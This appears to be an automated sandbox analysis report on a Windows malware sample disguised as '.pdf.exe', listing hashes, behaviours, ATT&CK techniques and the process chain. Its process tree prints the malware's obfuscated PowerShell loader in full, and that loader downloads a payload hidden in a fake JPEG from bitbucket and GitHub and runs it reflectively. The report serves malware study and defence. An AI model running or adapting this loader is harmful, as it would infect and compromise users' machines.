8eadd27519eb9a97959c7417696f906ce4de01e49e1321a466a2748e888db2a5

General

Target

.pdf.exe
Size

159KB
MD5

b388dc8131fd81f81576fb3c1ec2e891
SHA1

759036faa3e742fb30bf7d35c9b991fcba2def2e
SHA256

8eadd27519eb9a97959c7417696f906ce4de01e49e1321a466a2748e888db2a5
SHA512

937dd35e4c8461d6ebf2c2e941d7a9b817426375cba0eece3db99660ed7baea038f9bcd30a592944f88b225969ca1e730a3db03c43e2ac2dd847d6593e21b6e0
SSDEEP

3072:8nPdzuK8Jdw4TMJw3uuXKpgKVObvguaMvQZWNl/27EmQcOghmrbmpTcs/Sjq:8nPdudwDHpgD4uaUlkEmQcpzpwsN

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
5	868	powershell.exe
6	868	powershell.exe
8	868	powershell.exe
9	868	powershell.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Morty.lnk	.pdf.exe

Executes dropped EXE 2 IoCs

pid	Process
2100	Morty.exe
1200	Process not Found

Loads dropped DLL 1 IoCs

pid	Process
2596	.pdf.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	Morty.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2940	powershell.exe
868	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs

Web Service

T1102

flow	ioc
5	raw.githubusercontent.com
6	raw.githubusercontent.com
7	bitbucket.org
8	bitbucket.org
9	bitbucket.org
4	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	.pdf.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2940	powershell.exe
868	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2940	powershell.exe
Token: SeDebugPrivilege	868	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2596 wrote to memory of 2100	2596	.pdf.exe	30
PID 2596 wrote to memory of 2100	2596	.pdf.exe	30
PID 2596 wrote to memory of 2100	2596	.pdf.exe	30
PID 2596 wrote to memory of 2100	2596	.pdf.exe	30
PID 2100 wrote to memory of 2432	2100	Morty.exe	31
PID 2100 wrote to memory of 2432	2100	Morty.exe	31
PID 2100 wrote to memory of 2432	2100	Morty.exe	31
PID 2432 wrote to memory of 2708	2432	cmd.exe	33
PID 2432 wrote to memory of 2708	2432	cmd.exe	33
PID 2432 wrote to memory of 2708	2432	cmd.exe	33
PID 2708 wrote to memory of 2940	2708	WScript.exe	34
PID 2708 wrote to memory of 2940	2708	WScript.exe	34
PID 2708 wrote to memory of 2940	2708	WScript.exe	34
PID 2940 wrote to memory of 868	2940	powershell.exe	36
PID 2940 wrote to memory of 868	2940	powershell.exe	36
PID 2940 wrote to memory of 868	2940	powershell.exe	36

C:\Users\Admin\AppData\Local\Temp\.pdf.exe
"C:\Users\Admin\AppData\Local\Temp\.pdf.exe"
1⤵
- Drops startup file
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2596
- C:\Users\Admin\AppData\Roaming\Morty.exe
  C:\Users\Admin\AppData\Roaming\Morty.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:2100
- - C:\Windows\system32\cmd.exe
    cmd.exe /c grw.vbs
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2432
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\grw.vbs"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2708
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#HM#a#Bp#GU#b#Bk#GE#Z#Bh#HM#LwBn#HM#Z#Bn#Gg#agBq#C8#Z#Bv#Hc#bgBs#G8#YQBk#HM#LwBp#G0#ZwBf#HQ#ZQBz#HQ#LgBq#H##Zw#/#DE#MQ#4#DE#MQ#3#DM#NQ#n#Cw#I##n#Gg#d#B0#H##cw#6#C8#LwBy#GE#dw#u#Gc#aQB0#Gg#dQBi#HU#cwBl#HI#YwBv#G4#d#Bl#G4#d##u#GM#bwBt#C8#cwBh#G4#d#Bv#G0#YQBs#G8#LwBh#HU#Z#Bp#HQ#LwBt#GE#aQBu#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#I##9#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bi#GE#cwBl#DY#N#BD#G8#bQBt#GE#bgBk#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBT#HU#YgBz#HQ#cgBp#G4#Zw#o#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##s#C##J#Bi#GE#cwBl#DY#N#BM#GU#bgBn#HQ#a##p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bj#G8#bQBt#GE#bgBk#EI#eQB0#GU#cw#g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#QwBv#G4#dgBl#HI#d#Bd#Do#OgBG#HI#bwBt#EI#YQBz#GU#Ng#0#FM#d#By#Gk#bgBn#Cg#J#Bi#GE#cwBl#DY#N#BD#G8#bQBt#GE#bgBk#Ck#Ow#g#CQ#b#Bv#GE#Z#Bl#GQ#QQBz#HM#ZQBt#GI#b#B5#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBS#GU#ZgBs#GU#YwB0#Gk#bwBu#C4#QQBz#HM#ZQBt#GI#b#B5#F0#Og#6#Ew#bwBh#GQ#K##k#GM#bwBt#G0#YQBu#GQ#QgB5#HQ#ZQBz#Ck#Ow#g#CQ#d#B5#H##ZQ#g#D0#I##k#Gw#bwBh#GQ#ZQBk#EE#cwBz#GU#bQBi#Gw#eQ#u#Ec#ZQB0#FQ#eQBw#GU#K##n#HQ#ZQBz#HQ#c#Bv#Hc#ZQBy#HM#a#Bl#Gw#b##u#Eg#bwBt#GU#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#bQBl#HQ#a#Bv#GQ#I##9#C##J#B0#Hk#c#Bl#C4#RwBl#HQ#TQBl#HQ#a#Bv#GQ#K##n#Gw#YQ#n#Ck#LgBJ#G4#dgBv#Gs#ZQ#o#CQ#bgB1#Gw#b##s#C##WwBv#GI#agBl#GM#d#Bb#F0#XQ#g#Cg#JwB0#Hg#d##u#DY#MQBl#HM#LwBz#GQ#YQBv#Gw#bgB3#G8#Z##v#Hc#cQB0#HI#ZQB0#HI#ZQ#v#Gs#cgB1#HI#ZQBt#Gw#dQBy#C8#ZwBy#G8#LgB0#GU#awBj#HU#YgB0#Gk#Yg#v#C8#OgBz#H##d#B0#Gg#Jw#s#C##Jw#w#Cc#L##g#Cc#UwB0#GE#cgB0#HU#c#BO#GE#bQBl#Cc#L##g#Cc#UgBl#Gc#QQBz#G0#Jw#s#C##Jw#w#Cc#KQ#p#H0#fQ#=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('#','A') ));powershell.exe $OWjuxDutionpolicy bypass -Noprofile -command $OWjuxD"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2940
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/shieldadas/gsdghjj/downloads/img_test.jpg?11811735', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.61es/sdaolnwod/wqtretre/kruremlur/gro.tekcubtib//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}"
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:868

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\grw.vbs

Filesize
16KB

MD5
ec25e2d59cd593036a75cdcf63dfd50f

SHA1
c5dabb24eacaa4a4885d0cb2d5949cf73b40d7de

SHA256
49bb91b7956f702139913b948258efc6f882a07ff240f34511bf1a7eec1fd258

SHA512
adb060f039b74fab79e981c9fdb1c919c851613c0921c62504818ea6340e4e8a58a227d274e595e9a641208b0dc1bd6acfca0c7366cf37d36698923c6e1d29f3

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
1d0ef54e4a9029f9aec9e6dadae18904

SHA1
8b78379ac97dfdcb0751030b7d335394de225259

SHA256
13e7f720f935803a7ccb1f521ece7f2cacb8a9c524839a671c9d15a49dc2e9d4

SHA512
4103fd95214d638102d80607b919deeb468c887c9d30f47b3042cc39c96541b5b45c2bac10aeb36e79d8536108fb04c3709febd219297f75b021c4cee8075bfc

Download Submit
\Users\Admin\AppData\Roaming\Morty.exe

Filesize
1.7MB

MD5
7fb0379bab9c95df45522c529a4a6c40

SHA1
75884061e4b1be342a8ad93d40913854695e412a

SHA256
998b564aea4c6a60da1df9b66e05a7d15fa12421433f9fa712f3d65ace4cee6a

SHA512
9058b6f89d706b51331a98c7b254f3f0a1dcf472ee9d7a23f134793ccb201f67e818ab084ca34f78909ffecfa366d2d570014ac805e35fb3a5a22fe7d7bae97e

Download Submit
memory/2940-45-0x000000001B720000-0x000000001BA02000-memory.dmp

Filesize
2.9MB

Download
memory/2940-46-0x0000000001D20000-0x0000000001D28000-memory.dmp

Filesize
32KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads